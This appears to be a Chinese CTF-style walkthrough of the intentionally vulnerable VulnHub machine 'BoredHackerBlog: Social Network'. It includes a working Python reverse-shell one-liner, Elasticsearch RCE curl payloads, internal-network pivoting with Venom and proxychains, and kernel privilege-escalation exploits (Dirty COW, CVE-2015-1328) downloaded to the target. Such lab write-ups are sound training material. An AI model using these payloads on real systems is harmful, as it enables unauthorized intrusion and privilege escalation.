Vulnhub靶机:BOREDHACKERBLOG: SOCIAL NETWORK

有目标就不怕路远。年轻人.无论你现在身在何方.重要的是你将要向何处去。只有明确的目标才能助你成功。没有目标的航船.任何方向的风对他来说都是逆风。因此,再遥远的旅程,只要有目标.就不怕路远。没有目标,哪来的劲头?一车尔尼雷夫斯基

导读:本篇文章讲解 Vulnhub靶机:BOREDHACKERBLOG: SOCIAL NETWORK,希望对大家有帮助,欢迎收藏,转发!站点地址:www.bmabk.com,来源:原文

介绍

系列:BoredHackerBlog(此系列共4台)
发布日期:2020年03月29日
难度:中级
学习:

  • 主机发现
  • 端口扫描
  • 服务发现
  • 路径爬取
  • 代码注入
  • Shell脚本
  • 内网信息收集
  • 内网穿透
  • 漏洞利用
  • 密码破解
  • 本地提权
  • 攻击代码修改

靶机地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/

信息收集

主机发现

netdiscover主机发现
对于VulnHub靶机来说,出现“PCS Systemtechnik GmbH”就是靶机。

sudo netdiscover -i eth1 -r 192.168.1.0/24

Vulnhub靶机:BOREDHACKERBLOG: SOCIAL NETWORK

主机信息探测

nmap -p- 192.168.1.21
nmap -p22,5000 -A 192.168.1.21

根据22端口得知SSH版本,以及这是一台Ubuntu系统。
根据5000端口得知它是基于python开发的一个web服务。
在这里插入图片描述

网站探测

访问网站,通过页面上的内容得知这是一个安全的匿名留言网站。
在这里插入图片描述

尝试XSS失败

扔了几个XSS,发现没啥用,没办法,那就换目录扫描吧,看能不能找到些有价值的页面。
在这里插入图片描述

目录扫描

通过目录扫描发现了一个新的页面,根据页面信息得知,它想让我输入一些东西,然后它会调用exec()去运行它。前面端口扫描的时候已经知道靶机的web服务是基于python的,那么这就已然明了,python命令执行。
在这里插入图片描述
在这里插入图片描述

python反弹shell

百度一下python反弹shell的命令,这里有一点坑,网上的命令并非都能用,有的可能如下图:

  1. 拿了一个没用的shell,输入命令没反应
    在这里插入图片描述

  2. 使用Hack-Tools生成命令,出现报错

在这里插入图片描述
在这里插入图片描述

  1. 使用专业网站:https://forum.ywhack.com/shell.php

即便是python,里面也是存在多种命令,测试发现第一个就可以用
在这里插入图片描述

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.10",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

在这里插入图片描述

这个时候,首先发现得到的shell的行头是:/app #,查看当前目录的文件时发现了Dockerfile,不由得让人怀疑自己其实是在docker里面。那么,怎么确认这一点呢?

方法1:如果根目录下存在dockerenv,那么有极大的概率,我们是在docker环境中
方法2:查看ip,如果ip与网站ip不同,那么有极大的概率,我们是在docker环境中
方法3:如果/proc/1/cgroup文件里面可以看到docker,以及docker的hash值。那么我们一定在docker环境中。
在这里插入图片描述

那么接下来的操作,一般来说是需要进行docker逃逸,来拿到其真正宿主的权限。但是在此之前,我想晚点别的花里胡哨的一些东西,看看效果如何。

后渗透

docker网络主机发现

比起docker逃逸,我想看一下docker所在的网络里有没有别的什么机器。由于我暂时没办法借助别的第三方工具,因此只能借助ping命令实现主机发现。那么这里就简单探测一下,先看看有没有别的主机。

for i in $(seq 1 20); do ping -c 1 172.17.0.$i; done

在这里插入图片描述

内网穿透

通过ping命令,发现内网中存在别的主机,如果我想探测内网的实际情况,包括存活主机有哪些、分别开放了哪些端口,那么就必须穿透内网,才能实现内网探测。内网穿透可选的工具有很多,这里我采用Venom,你可以在它的github主页看到中文使用指南:https://github.com/Dliv3/Venom

啰嗦一句,直接下载解压的话,火绒是秒杀的。
在这里插入图片描述

  1. 判断目标的位数

在docker下的shell中输入:uname -a,得知目标是64位系统。
在这里插入图片描述

  1. 投递代理工具

首先对工具重命名,方便后期使用。我这里对其重命名为“a”
在这里插入图片描述

然后在kali上面使用python开启一个web服务
在这里插入图片描述

  1. 靶机使用wget命令下载代理工具

在这里插入图片描述

  1. kali开启监听,等待目标的容器系统跟kali建立连接
    在这里插入图片描述

  2. 靶机运行代理工具

./a -rhost 192.168.1.10 -rport 9999

在这里插入图片描述

  1. kali连接成功
  • show显示网络拓扑

A表示admin节点,数字表示agent节点。下面的拓扑图表示,admin节点下连接了1节点

  • goto操作某节点
  • socks建立到某节点的socks5代理

执行成功socks命令之后,会在admin节点本地开启一个端口,如下图中通过1080端口即可进行socks5代理
在这里插入图片描述

配置socks代理

上文中,虽然我们建立到某节点的socks5代理,我们还需要proxychains4来挂载这个代理,才能让nmap等工具可以使用该代理去攻击目标。

配置proxychains4.conf(较新版本的kali已经没有proxychains.conf了,取而代之的是proxychains4.conf)
在这里插入图片描述

扫内网

在上文使用ping命令做了内网主机发现,当时发现172.17.0.1是存活主机。借鉴在vmware虚拟网络中,x.x.x.1往往代表着宿主机,这里先对172.17.0.1进行测试,看看它身上有没有什么有价值的信息。

proxychains4 nmap -Pn -sT 172.17.0.1
proxychains4 nmap -Pn -sT -sV -p22,5000 172.17.0.1

有点意外,它也开放着22和5000端口
在这里插入图片描述
在这里插入图片描述

给kali的浏览器配置socks5代理,看看这个172.17.0.1的5000端口是什么东东
竟然发现,我之前测试的XSS内容出现在了这里,并且它同样有admin页面
在这里插入图片描述
在这里插入图片描述

这意味着,172.17.0.1是192.168.1.21的宿主机,只不过172.17.0.1是宿主机面向内网的ip。
如果这让你感到难以理解,可以换个说法,你一定碰到过这中情况,你希望把自己物理机上的某个文件丢到虚拟机中,但是vmware-tools失效了,你无法直接把文件拖动到虚拟机里面。于是你在物理机上使用python或者别的什么工具开启了一个web服务,于然后你在虚拟机就可以下载文件了。但是你在虚拟机的浏览器中输入的,一定是x.x.x.1,因为这个地址才是物理机可以与虚拟机交互的地址。

考虑到当初拿shell的时候,就没看到什么有价值的信息,估计就算拿下172.17.0.1也是如此。在主机发现的时候,172.17.0.2也是存活主机,看看它有没有什么有趣的信息。发现这个ip上跑着Elasticsearch服务,百度一下发现这个服务曾经爆出过RCE漏洞,那我们就试试,看能不能拿下这台主机。

proxychains4 nmap -Pn -sT 172.17.0.2
proxychains4 nmap -Pn -sT -sV -p9200 172.17.0.2

在这里插入图片描述

Elasticsearch漏洞利用

搜索漏洞库,发现存在RCE利用文件,也不知道哪个能用,这里先拿第一个试试吧。看了下代码,发现是python2写的:cp /usr/share/exploitdb/exploits/linux/remote/36337.py ./
在这里插入图片描述

使用方法如下图
在这里插入图片描述

打一下,稀碎,命令执行不了。
在这里插入图片描述

不死心的又去msf里面打了一下,还是gg,第二个RCE文件是个html,看着就不好利用。很烦,重启虚拟机,重置网络,再来一遍试试。

排雷

靶机恢复快照,kali换用virtualbox虚拟机,不用vmware里的kali了。重启系统之后,kali的ip变为192.168.69.91;靶机的ip变为192.168.69.112;拿下的docker shell是172.17.0.3。失败让人变得有些烦躁,毕竟一个破站已经搞了快一天了,这里我把fscan投递到docker中了,先扫一遍再说。
根据如下的扫描结果知道,3个存活主机中,只有172.17.0.2的elasticsearch才是突破口
在这里插入图片描述

重新内网穿透(socks5代理不用配置了),扫描出来的未授权就是下图,没什么用
在这里插入图片描述

再次尝试RCE脚本,成功了。这次依然拿到的是docker的root权限,所不同的是这里发现了一些有趣的文件。
在这里插入图片描述
在这里插入图片描述

看到这些密文,直接网上找一些在线解密网站,通过https://www.somd5.com/查询到john的密码是:1337hack
到此,web渗透已经结束,下一步就是ssh连接靶机了。

补充错误原因

在这篇文章中知道了答案:https://www.anquanke.com/post/id/204066#h2-6
下面的这一段内容引自作者的笔记:


终于在Github找到失败原因,原因是服务里面没有数据,所以不能通过search来搜索进而执行命令,问题找到,尝试随便插入一条数据

proxychains curl -XPOST 'http://172.17.0.2:9200/twitter/user/yren' -d '{ "name" : "Wu" }'

再次执行Payload

proxychains curl -XPOST 'http://172.17.0.2:9200/_search?pretty' -d '{"script_fields": {"payload": {"script": "java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("whoami").getText()"}}}'

成功执行
在这里插入图片描述


SSH登录

经过测试,只有john可以登录。登录的时候注意到靶机的版本很老。
在这里插入图片描述

提权

提权1:脏牛提权

登录靶机的时候,注意到它的版本很老。脏牛提权可以试试。

  1. kali下载exp,编译后并开放web服务(编译时的一些问题不用管)
 wget https://www.exploit-db.com/download/40616
 mv 40616 cowroot.c
 gcc cowroot.c -o cowroot -pthread
 python3 -m http.server 80

在这里插入图片描述
在这里插入图片描述

  1. 靶机下载并运行exp
wget http://192.168.69.91/cowroot
chmod +x cowroot
./cowroot

在这里插入图片描述

不大会后,靶机崩溃了,这个属实有点意外😅
在这里插入图片描述

提权2:攻击代码修改

靶机恢复一下快照,继续搞。
搜索利用代码:searchsploit linux 3.13
在这里插入图片描述

发现有一大堆利用代码,并且这些利用代码中,内核提权的代码几乎都是C语言写的,经过检测,靶机上面没有gcc来编译利用代码,只能是kali这边编译好之后再投递到靶机上。
在这里插入图片描述

由于这些代码没有用过,不知道怎么玩,因此先读一下源代码。
首先,exp介绍了它的使用
在这里插入图片描述

在往下面看看,发现了一些问题。虽然我不了解C语言,但是显而易见的可以知道第143行代码尝试使用命令调用gcc,去把/tmp/ofs-lib.c编译成/tmp/ofs-lib.so。因此,我应该准备好编译好的 exp 和 ofs-lib.so 才能让靶机真正运行起来exp。
在这里插入图片描述

  1. 删除上图红框中的代码,然后保存。
  2. 经过搜索,发现kali里面有ofs-lib.so
  3. 编译exp(出现的报错可忽略),然后开启web服务投递到靶机上
locate ofs-lib.so
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so ./
gcc -o exp 37292.c
python3 -m http.server 80

在这里插入图片描述

靶机下载下来exp和ofs-lib.so,为了保证攻击成功,这里把下载下来的文件移动到tmp目录下(因为删除的那段代码里,本来就是要把ofs-lib.so生成在tmp目录下),最后顺利的提权成功。
在这里插入图片描述

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134233.html

(0)
飞熊的头像飞熊bm

相关推荐

发表回复

登录后才能评论
极客之音——专业性很强的中文编程技术网站,欢迎收藏到浏览器,订阅我们!